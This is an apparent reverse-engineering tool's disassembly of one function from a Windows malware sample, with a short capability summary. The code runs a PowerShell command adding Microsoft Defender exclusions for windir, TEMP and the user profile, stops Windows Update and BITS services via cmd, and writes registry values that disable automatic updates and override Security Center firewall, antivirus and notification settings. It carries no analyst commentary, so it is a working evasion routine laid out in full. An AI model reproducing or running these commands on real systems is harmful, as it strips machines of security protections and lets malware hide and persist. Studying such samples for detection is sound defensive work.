Function at 0x401000
Capabilities:
Create process on windows
Disable system features via registry on windows
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 4
push 0
push 0
push str._c_powershell__Command__Add_MpPreference__ExclusionPath__env:windir__Add_MpPreference__ExclusionPath__env:TEMP__Add_MpPreference__ExclusionPath__env:USERPROFILE_
push 0x40222c
push 0x40223c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_sc_stop_UsoSvc__sc_stop_WaaSMedicSvc__sc_stop_wuauserv__sc_stop_DoSvc__sc_stop_BITS
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010a5
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.CheckedValue
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010e7
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push 0x40242c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401129
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x402498
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40116b
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push 0x4024f8
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011ad
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push 0x402550
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011ef
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.Start
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push 0x4025b0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401236
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x402614
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4012c3
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push 0x402630
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401281
push 0
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x402678
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push 0x402698
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4012c3
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.DisableWindowsUpdateAccess
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push 0x402718
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40130a
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x402784
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4013e2
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401355
push 0
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013a0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x402864
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013e2
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.NoAutoUpdate
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4014be
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x402910
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x402924
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x40293c
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x402950
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x402964
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x40297c
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x40298c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40159a
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.FirewallOverride
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.FirewallDisableNotify
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.AntiSpywareOverride
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.AntiVirusOverride
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.AntiVirusDisableNotify
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.UpdatesOverride
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.UpdatesDisableNotify
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10